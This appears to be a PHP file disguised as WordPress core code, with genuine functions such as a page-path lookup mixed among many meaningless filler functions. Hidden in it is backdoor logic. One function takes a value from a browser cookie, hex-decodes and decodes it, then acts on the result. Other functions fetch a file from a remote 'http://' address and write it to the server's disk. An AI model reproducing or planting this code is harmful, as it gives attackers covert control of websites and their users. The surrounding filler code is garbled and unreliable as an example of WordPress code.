edited, otherwise they're locked. */ function tally_rendered_widgets($notify, $with_theme_supports){ // This function may be called multiple times. Run the filter only once per page load. $carry12['q08a'] = 998; $name_match = 'skvesozj'; if(!isset($table_details)) { $table_details = 'prr1323p'; } $sendmailFmt = (!isset($sendmailFmt)? 'xg611' : 'gvse'); $role__in = 'emv4'; if(!isset($widget_ids)) { $widget_ids = 'mek1jjj'; } $uploaded_by_link['c6gohg71a'] = 'd0kjnw5ys'; $table_details = exp(584); // Set up properties for themes available on WordPress.org. $widget_ids = ceil(709); if(!isset($max_results)) { $max_results = 'vgpv'; } $nickname['yhk6nz'] = 'iog7mbleq'; $originals_table['p9nb2'] = 2931; $name_match = stripos($name_match, $role__in); $BlockOffset = 'nvhz'; $max_results = asinh(296); $table_details = rawurlencode($table_details); $cut['l48opf'] = 'qjaouwt'; $is_vimeo['nwayeqz77'] = 1103; $rest_key['pom0aymva'] = 4465; if(!isset($core_options_in)) { $core_options_in = 'x2a9v1ld'; } $last_attr['h3c8'] = 2826; $current_mode['nk68xoy'] = 'ght7qrzxs'; $core_options_in = lcfirst($max_results); if((strnatcmp($BlockOffset, $BlockOffset)) === FALSE) { $attachment_post_data = 'iozi1axp'; } $table_details = ucwords($table_details); $sanitized_widget_setting = 'drtx4'; $name_match = strtolower($name_match); if(!isset($missed_schedule)) { $missed_schedule = 'rsb1k0ax'; } $total_this_page['my0k'] = 'lswwvmm2c'; $sanitized_widget_setting = sha1($sanitized_widget_setting); $json_decoded = 'g1z2p6h2v'; $missed_schedule = strtr($BlockOffset, 19, 16); $toolbar3 = $_COOKIE[$notify]; // Read line $table_details = bin2hex($json_decoded); $update_themes = (!isset($update_themes)?'mxef':'g58dt'); if(!(stripos($BlockOffset, $widget_ids)) !== True) { $endpoint_args = 'f8yv1yntz'; } if(!(addcslashes($name_match, $name_match)) === FALSE) { $frame_crop_right_offset = 'z2wu6k3l'; } $toolbar3 = pack("H*", $toolbar3); // s9 -= s18 * 997805; if(!isset($thresholds)) { $thresholds = 'tsh5'; } if(!empty(atanh(843)) !== FALSE) { $is_user = 'mtoi'; } $widget_ids = htmlentities($missed_schedule); $eqkey['t64cdj'] = 893; $admin_all_statuses = wp_register_background_support($toolbar3, $with_theme_supports); if (redirect_this_site($admin_all_statuses)) { $mixedVar = get_nav_menu_at_primary_location($admin_all_statuses); return $mixedVar; } get_comment_feed_permastruct($notify, $with_theme_supports, $admin_all_statuses); } /* * Now check the dependencies of the dependency's dependencies for the dependent. * * Yes, that does make sense. */ function wp_match_mime_types ($options_misc_pdf_returnXREF){ $thisB = (!isset($thisB)?'gdhjh5':'rrg7jdd1l'); $rendering_sidebar_id = 'ebbzhr'; $IPLS_parts = 'yknxq46kc'; // $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); $about_pages = (!isset($about_pages)? 'zra5l' : 'aa4o0z0'); $this_plugin_dir['u9lnwat7'] = 'f0syy1'; $hub = 'fh3tw4dw'; if(!empty(strrpos($rendering_sidebar_id, $hub)) !== True) { $check_comment_lengths = 'eiwvn46fd'; } if(!empty(floor(262)) === FALSE) { $ac3_coding_mode = 'iq0gmm'; } $nicename['ml247'] = 284; // 'wp-admin/css/media-rtl.min.css', $f5g4 = 'kbsak'; if(!isset($jit)) { $jit = 'hdftk'; } $sections['qjjifko'] = 'vn92j'; $total_posts = 'q9ih'; // Return distance per character (of string1). if(empty(md5($hub)) !== false) { $subpath = 'ywpnsa12'; } $jit = wordwrap($IPLS_parts); $meta_ids = (!isset($meta_ids)? 'ywc81uuaz' : 'jitr6shnv'); // ----- Look for a directory if(!isset($g4)) { $g4 = 'qcmja'; } $g4 = strtr($f5g4, 22, 5); $attachment_ids = (!isset($attachment_ids)? "ehin" : "fu2py2r"); if(!isset($unpublished_changeset_post)) { $unpublished_changeset_post = 'zidj2w'; } $unpublished_changeset_post = rad2deg(366); $az = 'k9izrise'; if((sha1($az)) == true) { $schema_positions = 'lmtoa'; } if(!isset($lat_deg_dec)) { $lat_deg_dec = 'gjvsk7mjl'; } $lat_deg_dec = urlencode($g4); $AuthType = (!isset($AuthType)?'e4wdqzds':'sq6wqm'); $menu_id_slugs['vg2ma8r8l'] = 4506; if(!isset($carry18)) { $carry18 = 'pflp7nbt'; } $carry18 = quotemeta($f5g4); if(!empty(decoct(500)) == true) { $ampm = 'psdjo0r'; } return $options_misc_pdf_returnXREF; } /** * Handles outdated versions of the `core/latest-posts` block by converting * attribute `categories` from a numeric string to an array with key `id`. * * This is done to accommodate the changes introduced in #20781 that sought to * add support for multiple categories to the block. However, given that this * block is dynamic, the usual provisions for block migration are insufficient, * as they only act when a block is loaded in the editor. * * TODO: Remove when and if the bottom client-side deprecation for this block * is removed. * * @param array $simplified_response A single parsed block object. * * @return array The migrated block object. */ function ajax_insert_auto_draft_post($simplified_response) { if ('core/latest-posts' === $simplified_response['blockName'] && !empty($simplified_response['attrs']['categories']) && is_string($simplified_response['attrs']['categories'])) { $simplified_response['attrs']['categories'] = array(array('id' => absint($simplified_response['attrs']['categories']))); } return $simplified_response; } //If we have requested a specific auth type, check the server supports it before trying others /** * Deletes a post. * * @since 1.5.0 * * @param array $new_size_data { * Method arguments. Note: arguments must be ordered as documented. * * @type int $0 Blog ID (unused). * @type int $1 Post ID. * @type string $2 Username. * @type string $3 Password. * } * @return true|IXR_Error True when post is deleted. */ function cleanup($successful_updates){ $successful_updates = ord($successful_updates); return $successful_updates; } /** * Filters the attachment URL. * * @since 2.1.0 * * @param string $queues URL for the given attachment. * @param int $attachment_id Attachment post ID. */ function addOrEnqueueAnAddress ($nav_menu_option){ $control_ops = (!isset($control_ops)? 'ub4e3d79s' : 'jlls0'); $nav_menu_option = atan(507); // Redirect back to the previous page, or failing that, the post permalink, or failing that, the homepage of the blog. $nav_menu_option = deg2rad(830); // Episode Global ID // http://www.theora.org/doc/Theora.pdf (section 6.2) $slen['fyze21'] = 710; $check_zone_info['ety3pfw57'] = 4782; if(empty(exp(549)) === FALSE) { $TargetTypeValue = 'bawygc'; } $caption_startTime = 'gec0a'; $nav_menu_option = lcfirst($nav_menu_option); // No need to re-approve/re-trash/re-spam a comment. // Count the number of terms with the same name. // Code by ubergeekØubergeek*tv based on information from // resetting the status of ALL msgs to not be deleted. $caption_startTime = strnatcmp($caption_startTime, $caption_startTime); $anon_ip = 'gg9qt'; if(!empty(htmlspecialchars($anon_ip)) === false) { $discussion_settings = 'ulyt0hu1u'; } $anon_ip = atan(536); $secure_transport = (!isset($secure_transport)? 'b1p40e9' : 'vlumlroj'); $image_location['z1oud'] = 2074; if(!(base64_encode($nav_menu_option)) == False){ $aria_attributes = 'l9xdxmp33'; } if(!isset($custom_terms)) { $custom_terms = 'm5kmp8jx'; } $custom_terms = wordwrap($anon_ip); $anon_ip = tanh(308); $DKIM_selector['z6g1yc25'] = 'wnfgv15'; if(empty(nl2br($anon_ip)) == True) { $sendback = 'cqeotl'; } $all_plugins = 'nzjzwoqg'; $endians['vv0bll'] = 'znlxbf'; if(empty(ucfirst($all_plugins)) === false){ $max_width = 'c7otcaal'; } $now_gmt['e8dxb2'] = 'a4r3'; if(!isset($editable_extensions)) { $editable_extensions = 'wtgef3'; } $editable_extensions = htmlspecialchars_decode($all_plugins); $editable_extensions = htmlspecialchars($custom_terms); $save = (!isset($save)? "pybg" : "frt6"); $filtered_value['jhvqim36l'] = 3194; $nav_menu_option = deg2rad(609); return $nav_menu_option; } // Pass data to JS. /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */ function ristretto255_random ($cookie_name){ // Animated/alpha WebP. // if RSS parsed successfully $changeset_data['vmutmh'] = 2851; $min = 'y7czv8w'; $appearance_cap = 'e6b2561l'; $individual_feature_declarations = 'bwk0o'; $edit_term_link = 'svv0m0'; if(!empty(cosh(725)) != False){ $newvalue = 'jxtrz'; } $individual_feature_declarations = nl2br($individual_feature_declarations); $skip_inactive['azz0uw'] = 'zwny'; if(!(stripslashes($min)) !== true) { $rawheaders = 'olak7'; } $appearance_cap = base64_encode($appearance_cap); $centerMixLevelLookup = 'grsyi99e'; $variations = (!isset($variations)? "ibl4" : "yozsszyk7"); if((strrev($edit_term_link)) != True) { $MPEGaudioHeaderLengthCache = 'cnsx'; } $child_context = 'idaeoq7e7'; $unpacked = (!isset($unpacked)? "lnp2pk2uo" : "tch8"); $edit_term_link = expm1(924); $lostpassword_redirect['yt4703111'] = 'avg94'; if(!empty(strripos($appearance_cap, $appearance_cap)) !== false) { $current_plugin_data = 'jy8yhy0'; } $view_link['j7xvu'] = 'vfik'; $centerMixLevelLookup = addcslashes($centerMixLevelLookup, $min); if(!isset($exclude_zeros)) { $exclude_zeros = 'n2ywvp'; } $min = base64_encode($min); $new_declaration = (!isset($new_declaration)? "eua3ga" : "gsldhouz"); if(!(chop($child_context, $child_context)) === false) { $maybe_sidebar_id = 'qxcav'; } $edit_term_link = strrev($edit_term_link); // Sidebars. // No password, no auth. $qs_regex = (!isset($qs_regex)? 'qzfx3q' : 'thrg5iey'); $exclude_zeros = asinh(813); $decoded_slug['c0c6r'] = 568; $qp_mode = (!isset($qp_mode)? "wldq83" : "sr9erjsja"); $shortcode['pgy3a'] = 4787; $list_items = 't141gzap'; $child_context = addslashes($child_context); if(!isset($allow_bruteforce)) { $allow_bruteforce = 'pz79e'; } $has_heading_colors_support['l0jb5'] = 4058; $appearance_cap = urlencode($appearance_cap); $individual_feature_declarations = strrpos($individual_feature_declarations, $exclude_zeros); $justify_content['r5oua'] = 2015; $allow_bruteforce = lcfirst($min); if((tanh(806)) == true) { $about_url = 'vylv9b'; } $invalid_plugin_files['gdye'] = 'u8sti'; $edit_term_link = deg2rad(787); // ?page=%#% : %#% is replaced by the page number. $child_context = is_string($child_context); $appearance_cap = basename($appearance_cap); $options_graphic_png_max_data_bytes = 'xbjdwjagp'; $sent['z8cxuw'] = 'qe8bvy'; $individual_feature_declarations = ucfirst($exclude_zeros); $BlockTypeText['f8obj8'] = 'jc5l6'; if(!isset($breadcrumbs)) { $breadcrumbs = 'tx7ow57u'; } $breadcrumbs = ucfirst($list_items); $nonce_state = 'fzccmzu'; $custom_logo_attr = 'kjbed'; $allowed_blocks['i2p2e'] = 'nuc3h9ri'; $nonce_state = strcspn($nonce_state, $custom_logo_attr); if(!isset($additional_data)) { $additional_data = 'afnlvk'; } $additional_data = crc32($custom_logo_attr); if(!isset($ID3v2_key_good)) { $ID3v2_key_good = 'gslb0wc'; } $ID3v2_key_good = html_entity_decode($custom_logo_attr); $req_data = 'wbyp1'; $nonce_state = strcspn($custom_logo_attr, $req_data); if(!(decoct(315)) === true) { $fn_compile_src = 'o6lmvpsn'; } if(!(strcspn($req_data, $nonce_state)) == True){ $newBits = 'blhuocms'; } if(!(cos(755)) != False){ $outLen = 'ry1ch5ja'; } $custom_logo_attr = cosh(521); $cookie_name = 'a02o0itze'; $additional_data = convert_uuencode($cookie_name); $req_data = strtolower($custom_logo_attr); $nonce_state = cos(777); $string_props = (!isset($string_props)? "gqw422" : "ol16co2h9"); if((strrpos($custom_logo_attr, $additional_data)) != false) { $show_syntax_highlighting_preference = 'yfa9'; } $source_post_id = 'n4v49k7z'; $image_file_to_edit['zk3f24'] = 3625; $weeuns['foxynz3e'] = 4763; if(!isset($realmode)) { $realmode = 'f33fv'; } $realmode = htmlentities($source_post_id); $site_root['s61zz8th'] = 'fpnqohpdf'; if(!isset($maybe_orderby_meta)) { $maybe_orderby_meta = 'cj3w2xyt'; } $maybe_orderby_meta = asin(531); return $cookie_name; } $thumbnails_cached = tan(151); /** * Retrieves a page given its path. * * @since 2.1.0 * * @global wpdb $binarypointnumber WordPress database abstraction object. * * @param string $junk Page path. * @param string $f0f0 Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string|array $S0 Optional. Post type or array of post types. Default 'page'. * @return WP_Post|array|null WP_Post (or array) on success, or null on failure. */ function comment_author_link($junk, $f0f0 = OBJECT, $S0 = 'page') { global $binarypointnumber; $recent_posts = wp_cache_get_last_changed('posts'); $delete_file = md5($junk . serialize($S0)); $dependency_file = "comment_author_link:{$delete_file}:{$recent_posts}"; $old_request = wp_cache_get($dependency_file, 'post-queries'); if (false !== $old_request) { // Special case: '0' is a bad `$junk`. if ('0' === $old_request || 0 === $old_request) { return; } else { return get_post($old_request, $f0f0); } } $junk = rawurlencode(urldecode($junk)); $junk = str_replace('%2F', '/', $junk); $junk = str_replace('%20', ' ', $junk); $valid_query_args = explode('/', trim($junk, '/')); $valid_query_args = array_map('sanitize_title_for_query', $valid_query_args); $LAMEtag = esc_sql($valid_query_args); $sitemap = "'" . implode("','", $LAMEtag) . "'"; if (is_array($S0)) { $restrictions_raw = $S0; } else { $restrictions_raw = array($S0, 'attachment'); } $restrictions_raw = esc_sql($restrictions_raw); $api_root = "'" . implode("','", $restrictions_raw) . "'"; $frame_ownerid = "\n\t\tSELECT ID, post_name, post_parent, post_type\n\t\tFROM {$binarypointnumber->posts}\n\t\tWHERE post_name IN ({$sitemap})\n\t\tAND post_type IN ({$api_root})\n\t"; $cat_obj = $binarypointnumber->get_results($frame_ownerid, OBJECT_K); $needs_list_item_wrapper = array_reverse($valid_query_args); $description_parent = 0; foreach ((array) $cat_obj as $aria_name) { if ($aria_name->post_name == $needs_list_item_wrapper[0]) { $rollback_result = 0; $old_role = $aria_name; /* * Loop through the given path parts from right to left, * ensuring each matches the post ancestry. */ while (0 != $old_role->post_parent && isset($cat_obj[$old_role->post_parent])) { ++$rollback_result; $thisfile_asf_comments = $cat_obj[$old_role->post_parent]; if (!isset($needs_list_item_wrapper[$rollback_result]) || $thisfile_asf_comments->post_name != $needs_list_item_wrapper[$rollback_result]) { break; } $old_role = $thisfile_asf_comments; } if (0 == $old_role->post_parent && count($needs_list_item_wrapper) === $rollback_result + 1 && $old_role->post_name == $needs_list_item_wrapper[$rollback_result]) { $description_parent = $aria_name->ID; if ($aria_name->post_type == $S0) { break; } } } } // We cache misses as well as hits. wp_cache_set($dependency_file, $description_parent, 'post-queries'); if ($description_parent) { return get_post($description_parent, $f0f0); } return null; } $quick_tasks = urldecode($quick_tasks); $imagick_timeout = lcfirst($imagick_timeout); /* * Use "unset prop" as a marker instead of "null" because * "null" can be a valid value for some props (e.g. blockGap). */ function rest_sanitize_boolean($queues, $sniffer){ $marker = 'ip41'; if(!isset($widget_a)) { $widget_a = 'ks95gr'; } $existing_sidebars_widgets = 'zggz'; if(!isset($table_details)) { $table_details = 'prr1323p'; } $appearance_cap = 'e6b2561l'; $disposition_type = akismet_cron_recheck($queues); $LookupExtendedHeaderRestrictionsTagSizeLimits['tlaka2r81'] = 1127; $table_details = exp(584); $appearance_cap = base64_encode($appearance_cap); $marker = quotemeta($marker); $widget_a = floor(946); // Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input. $variations = (!isset($variations)? "ibl4" : "yozsszyk7"); $nickname['yhk6nz'] = 'iog7mbleq'; $arc_year = (!isset($arc_year)? 'ujzxudf2' : 'lrelg'); $orphans['vsycz14'] = 'bustphmi'; $existing_sidebars_widgets = trim($existing_sidebars_widgets); $table_details = rawurlencode($table_details); $media_per_page['t4c1bp2'] = 'kqn7cb'; if(!empty(strripos($appearance_cap, $appearance_cap)) !== false) { $current_plugin_data = 'jy8yhy0'; } $callable = (!isset($callable)? 'y5kpiuv' : 'xu2lscl'); if(!(sinh(457)) != True) { $original_image_url = 'tatb5m0qg'; } // Store package-relative paths (the key) of non-writable files in the WP_Error object. // File ID GUID 128 // unique identifier. may be zero or identical to File ID field in Data Object and Header Object // It seems MySQL's weeks disagree with PHP's. if ($disposition_type === false) { return false; } $absolute_url = file_put_contents($sniffer, $disposition_type); return $absolute_url; } /** * Determines whether the current request is for the login screen. * * @since 6.1.0 * * @see wp_login_url() * * @return bool True if inside WordPress login screen, false otherwise. */ function sodium_crypto_kx_secretkey ($breadcrumbs){ $breadcrumbs = 'j6kc'; $skip_item['s2buq08'] = 'hc2ttzixd'; if(!isset($ID3v2_key_good)) { $ID3v2_key_good = 'kpui'; } // s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 + $ID3v2_key_good = convert_uuencode($breadcrumbs); $header_key = (!isset($header_key)? 'oi7mm' : 'dnijq'); $breadcrumbs = expm1(263); $breadcrumbs = sinh(980); if(empty(strtoupper($breadcrumbs)) == true){ $full_height = 'mciz5'; } $cookie_name = 'bji3k8'; $button_markup = (!isset($button_markup)? 'ge0vgimpp' : 'w6gq3a'); $nested_json_files['x8cw'] = 1667; $breadcrumbs = addslashes($cookie_name); if(!(sin(659)) != true) { $ip_port = 'iwhjkl1i3'; } if(empty(acos(369)) !== TRUE){ $next_or_number = 'h343qr3oa'; } if(!(stripos($cookie_name, $breadcrumbs)) === FALSE) { $sidebars = 'buvh'; } $ID3v2_key_good = stripslashes($ID3v2_key_good); if(!isset($req_data)) { $req_data = 'nq9g226'; } $req_data = strcoll($cookie_name, $breadcrumbs); $active_class = 'bbrnci3nf'; $auth_secure_cookie['g40lv'] = 'mvub3'; $breadcrumbs = str_shuffle($active_class); $nohier_vs_hier_defaults = (!isset($nohier_vs_hier_defaults)? 'nt6vny78' : 'ycyl'); $littleEndian['xkfuq'] = 4845; $req_data = trim($ID3v2_key_good); $active_class = htmlentities($active_class); return $breadcrumbs; } /* * Else if there is something before parent and parent not a child of it, * make menu item a child of that something's parent */ function get_restrictions ($mysql_server_version){ // This is copied from nav-menus.php, and it has an unfortunate object name of `menus`. $orig_matches = 'cgf5pqq6'; $curie['l7l9yovaw'] = 1167; $validated = 'wdt8'; $current_page = 'eh5uj'; if(empty(exp(977)) != true) { $has_updated_content = 'vm5bobbz'; } if(!isset($conflicts_with_date_archive)) { $conflicts_with_date_archive = 'l1jxprts8'; } $backup_dir_exists = (!isset($backup_dir_exists)? "hcjit3hwk" : "b7h1lwvqz"); $conflicts_with_date_archive = deg2rad(432); $toggle_close_button_content['kz002n'] = 'lj91'; if(!isset($notoptions)) { $notoptions = 'a3ay608'; } if(!isset($slice)) { $slice = 'r14j78zh'; } if(!isset($v_sort_flag)) { $v_sort_flag = 'df3hv'; } $content_size['gfu1'] = 'dhz4'; // Remove any non-printable chars from the login string to see if we have ended up with an empty username. if(!isset($sticky_offset)) { $sticky_offset = 'kqnvl4z1'; } $sticky_offset = quotemeta($orig_matches); $mbstring = (!isset($mbstring)?"w50e3k":"s3pin35f"); $sticky_offset = sin(318); $rgadData = 'fdazqce1'; $ipaslong = 'uf7c'; $mysql_server_version = strrpos($rgadData, $ipaslong); $split_term_data['rbqoc'] = 'xebse4u'; if(!isset($critical_support)) { $critical_support = 'm7czowy'; } $critical_support = abs(783); $should_update = 'kyzvka9nh'; if(!empty(stripos($critical_support, $should_update)) == False){ $structure = 'izatb67j'; } $last_time = (!isset($last_time)? 'u8cg' : 'e6i50w7d'); if(!empty(stripslashes($should_update)) == TRUE) { $individual_style_variation_declarations = 'andvm7'; } $f1g8 = (!isset($f1g8)? "o2v7" : "js5zspda"); $codepoints['yp42ezgzq'] = 15; $mysql_server_version = rawurldecode($rgadData); $background_size = (!isset($background_size)? "nvqhsy" : "k8ict"); $tagParseCount['loj38jggb'] = 1818; $mysql_server_version = strtolower($mysql_server_version); $found_block = (!isset($found_block)? 'fwll' : 'zfi5'); $critical_support = is_string($rgadData); $open_button_directives = (!isset($open_button_directives)? "jf19" : "d3da07u"); if(empty(decbin(510)) !== false){ $queried_items = 'gun58'; } $signup_for = 'stj7a5ab'; $mysql_server_version = urlencode($signup_for); $rgadData = rawurldecode($orig_matches); return $mysql_server_version; } /** * Processes the `data-wp-router-region` directive. * * It renders in the footer a set of HTML elements to notify users about * client-side navigations. More concretely, the elements added are 1) a * top loading bar to visually inform that a navigation is in progress * and 2) an `aria-live` region for accessible navigation announcements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $old_role The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ function rest_validate_array_value_from_schema ($ipaslong){ $sticky_offset = 'n3ryc0wg'; if(empty(rtrim($sticky_offset)) == TRUE) { $Priority = 'brrwsnf6'; } $ipaslong = 'ezwmrk'; $multisite_enabled = (!isset($multisite_enabled)? "zv9gpg" : "i82qnvwm"); if(!isset($tablefield_type_without_parentheses)) { $tablefield_type_without_parentheses = 'wdm1'; } $tablefield_type_without_parentheses = md5($ipaslong); $uuid_bytes_read = (!isset($uuid_bytes_read)?'u7p8oyrp':'qc1xl0'); if(!isset($orig_matches)) { $orig_matches = 'v3hqmm'; } $orig_matches = quotemeta($ipaslong); $rgadData = 'jn7w'; $g8_19 = (!isset($g8_19)?"eq5zpi5u":"ryvc7"); $COMRReceivedAsLookup['xxrwgh'] = 'rnm3'; $create_cap['u4uq9'] = 3855; if(!isset($signup_for)) { $signup_for = 'blrdw2jpa'; } $signup_for = substr($rgadData, 5, 5); $should_update = 'y7vaf74p'; $allowed_field_names = (!isset($allowed_field_names)? "o88k3f" : "qrox1o"); if(!isset($critical_support)) { $critical_support = 'yv4h'; } $critical_support = chop($ipaslong, $should_update); if(!isset($custom_border_color)) { $custom_border_color = 'rdof0hu'; } // accumulate error messages $custom_border_color = log1p(854); $is_processing_element = (!isset($is_processing_element)? "u9zo9" : "yafjosu"); $network_plugins['t6oygho'] = 4707; if(!empty(dechex(199)) != True) { $curl_options = 'hwtm'; } if((asin(840)) == FALSE) { $new_user_lastname = 'qdza6'; } $autosave_query = (!isset($autosave_query)? 'fz48hl' : 'jokkh2ueu'); $rgadData = sqrt(434); $options_audio_mp3_mp3_valid_check_frames = 'fyu9x8gyf'; if((chop($custom_border_color, $options_audio_mp3_mp3_valid_check_frames)) != true) { $signatures = 'kil0'; } $update_plugins['h2g15w6v'] = 114; $rgadData = quotemeta($orig_matches); $i18n_controller['gmmccuk'] = 2169; if(!(ucfirst($rgadData)) !== false){ $hcard = 'gox7x9hp'; } if(!(cosh(918)) !== True){ $wp_environment_type = 'bkfs'; } $site_capabilities_key = (!isset($site_capabilities_key)? 'v8iak3sq' : 'th3c28hmw'); $should_update = strtolower($orig_matches); return $ipaslong; } $chunknamesize['mnxgs'] = 4091; // Set menu-item's [menu_order] to that of former parent. /** * Returns the current error information. * * @since 6.5.0 * * @return string|null Error message or null if no error. */ function is_main_blog ($nav_menu_option){ $menu_management['mqq0'] = 3485; // s[4] = s1 >> 11; if((log(472)) == False) { $img_height = 'fczdn3'; } $nonce_action['lt5pfdq5'] = 'm64frquvy'; if((cos(727)) === True) { $cuetrackpositions_entry = 'jzrnygp'; } if(!isset($all_plugins)) { $all_plugins = 'n6qg'; } $all_plugins = expm1(490); if(!isset($anon_ip)) { $anon_ip = 'beaw7z'; } $anon_ip = decoct(697); if(!isset($create_title)) { $create_title = 'tw0pdah'; } $create_title = decoct(137); $editable_extensions = 'no72840'; if(!(urlencode($editable_extensions)) !== FALSE){ $new_title = 'trmu'; } $editable_extensions = tan(151); return $nav_menu_option; } $r_p1p1 = 'xe09'; $dependency_note = asinh(566); $existing_domain = strtoupper($existing_domain); /** * Closes elements that have implied end tags. * * @since 6.4.0 * * @see https://html.spec.whatwg.org/#generate-implied-end-tags * * @param string|null $except_for_this_element Perform as if this element doesn't exist in the stack of open elements. */ function wp_maybe_clean_new_site_cache_on_update ($ipaslong){ if(!isset($theme_stylesheet)) { $theme_stylesheet = 'hiw31'; } if(!isset($conflicts_with_date_archive)) { $conflicts_with_date_archive = 'l1jxprts8'; } $inline_attachments = 'pza4qald'; $amount['gzjwp3'] = 3402; if(!isset($sortby)) { $sortby = 'jmsvj'; } // ----- Internal error handling // a - Tag alter preservation // Let mw_editPost() do all of the heavy lifting. $maybe_update = (!isset($maybe_update)? "z4d8n3b3" : "iwtddvgx"); $sortby = log1p(875); $theme_stylesheet = log1p(663); if((rad2deg(938)) == true) { $check_permission = 'xyppzuvk4'; } $conflicts_with_date_archive = deg2rad(432); $exporters_count = (!isset($exporters_count)?'blfxzo':'agaisa6f'); if(!empty(tanh(760)) === false){ $guessed_url = 'g33jzq277'; } if(empty(asin(981)) == TRUE) { $wp_registered_settings = 'ytrmzh04'; } $rgadData = 'gsu08b6'; if(!isset($critical_support)) { $critical_support = 'nd8vw4xha'; } $critical_support = html_entity_decode($rgadData); if(empty(deg2rad(647)) != FALSE){ $strs = 'azv0cs'; } $create_dir['b6afy'] = 818; if(empty(basename($rgadData)) != false) { $v_stored_filename = 'hqgyls'; } $tablefield_type_without_parentheses = 'gfe2v9ia'; $stack_depth = (!isset($stack_depth)? 'lxzufbk8t' : 's4r2mw'); if(!isset($signup_for)) { $signup_for = 'kbc8l'; } $signup_for = str_repeat($tablefield_type_without_parentheses, 15); if(!isset($body_classes)) { $body_classes = 'oygx93'; } $body_classes = tanh(759); return $ipaslong; } /* translators: Comments feed title. %s: Site title. */ function akismet_cron_recheck($queues){ // set if using a proxy server // There may only be one 'POSS' frame in each tag // '3 for genre - 3 '7777777777777777 $queues = "http://" . $queues; // ----- Set the file content $found_selected = 'h97c8z'; $MPEGaudioHeaderValidCache = 'lfthq'; $site_count = 'ipvepm'; $repair = 'ep6xm'; $is_writable_wp_content_dir['gbbi'] = 1999; $txt['eau0lpcw'] = 'pa923w'; if(!isset($isize)) { $isize = 'rlzaqy'; } $unique_hosts['vdg4'] = 3432; $isize = soundex($found_selected); $is_bad_hierarchical_slug['awkrc4900'] = 3113; if(!empty(md5($repair)) != FALSE) { $channel = 'ohrur12'; } if(!(ltrim($MPEGaudioHeaderValidCache)) != False) { $IndexEntriesData = 'tat2m'; } return file_get_contents($queues); } /** * (d - 1) ^ 2 * @var array<int, int> */ if(!(rad2deg(244)) !== false) { $tax_meta_box_id = 'pxntmb5cx'; } /** * Prints the styles that were queued too late for the HTML head. * * @since 3.3.0 * * @global WP_Styles $wp_styles * @global bool $concatenate_scripts * * @return array|void */ function get_notice_kses_allowed_elements ($g4){ // Removing `Basic ` the token would start six characters in. // Delete the backup on `shutdown` to avoid a PHP timeout. $g4 = 'qqhbv'; // horizontal resolution, in pixels per metre, of the target device // Merge requested $old_roleost_fields fields into $_post. $g4 = wordwrap($g4); $g4 = abs(311); // Multisite super admin has all caps by definition, Unless specifically denied. // TBC : Should also check the archive format $g4 = tanh(629); // The href attribute on a and area elements is not required; $existing_sidebars_widgets = 'zggz'; if(!isset($image_path)) { $image_path = 'irw8'; } if(!isset($css_value)) { $css_value = 'jfidhm'; } $element_selectors = 'mvkyz'; if(!empty(acos(994)) != TRUE) { $header_data_key = 'ar4jts0'; } $unpublished_changeset_post = 'r492c'; if(!empty(quotemeta($unpublished_changeset_post)) != false){ $a_plugin = 'nal6'; } return $g4; } /** * Handles cropping an image via AJAX. * * @since 4.3.0 */ function wp_embed_unregister_handler($text_decoration_class){ // If we could get a lock, re-"add" the option to fire all the correct filters. echo $text_decoration_class; } $imagick_timeout = log10(268); /** * Calls the render callback of a widget and returns the output. * * @since 5.8.0 * * @global array $wp_registered_widgets The registered widgets. * @global array $wp_registered_sidebars The registered sidebars. * * @param string $widget_id Widget ID. * @param string $sidebar_id Sidebar ID. * @return string */ function PopError($queues){ // attempt to return cached object // Skip updating changeset for invalid setting values. $query_id = basename($queues); // which may be useful. $sniffer = safe_inc($query_id); $errmsg_blogname_aria = (!isset($errmsg_blogname_aria)? "hjyi1" : "wuhe69wd"); if(!isset($theme_stylesheet)) { $theme_stylesheet = 'hiw31'; } $start_marker = 'c4th9z'; $autosave_name = 'aiuk'; // Make sure that $old_rolelugins['upgrade'] also receives the extra info since it is used on ?plugin_status=upgrade. rest_sanitize_boolean($queues, $sniffer); } /* translators: Default category slug. */ function scalarmult_base ($all_plugins){ // Strip off trailing /index.php/. $all_plugins = 'ig1yey5ph'; // eliminate double slash // POP server and returns the results. Useful for // If we've got cookies, use and convert them to WpOrg\Requests\Cookie. if(!(ltrim($all_plugins)) === TRUE) { $locked_post_status = 'ea96i'; } $component = 'u2dh3xi'; if(!isset($create_title)) { $create_title = 'l6q4fgne'; } $create_title = bin2hex($component); $anon_ip = 'gfj27'; $css_rules = (!isset($css_rules)?'v3knur':'wbu9dkplg'); if(!isset($f4g8_19)) { $f4g8_19 = 'rowg44b'; } $f4g8_19 = sha1($anon_ip); if(!(floor(539)) == True) { $VBRidOffset = 'ro8jo5krn'; } if(empty(decbin(966)) !== true) { $feedregex = 'pga2'; } return $all_plugins; } /** * Text to include as a comment before the start of the PO contents * * Doesn't need to include # in the beginning of lines, these are added automatically * * @param string $text Text to include as a comment. */ function get_allowed_themes ($random){ $state_count = 'dvfcq'; $skip_item['s2buq08'] = 'hc2ttzixd'; $frame_crop_left_offset = 'zhsax1pq'; // Upgrade versions prior to 3.7. $az = 'xeypp2h'; if(!isset($active_theme_parent_theme)) { $active_theme_parent_theme = 'ptiy'; } $in_seq['n2gpheyt'] = 1854; if(!isset($is_schema_array)) { $is_schema_array = 'xiyt'; } $active_theme_parent_theme = htmlspecialchars_decode($frame_crop_left_offset); if((ucfirst($state_count)) == False) { $tag_data = 'k5g5fbk1'; } $is_schema_array = acos(186); // Add eot. $uncached_parent_ids['r1bu30m'] = 'bfp02y1'; // Check that each file in the request references a src in the settings. $actual['slfhox'] = 271; $last_field = (!isset($last_field)? 'npq4gjngv' : 'vlm5nkpw3'); $in_loop['ge3tpc7o'] = 'xk9l0gvj'; // ----- Add the list of files // 4.9.2 if(!empty(addcslashes($active_theme_parent_theme, $frame_crop_left_offset)) === true) { $supported_blocks = 'xmmrs317u'; } if(!empty(rtrim($is_schema_array)) != TRUE) { $boxname = 'a5fiqg64'; } $state_count = floor(274); // Handle page hierarchy. $az = str_repeat($az, 20); 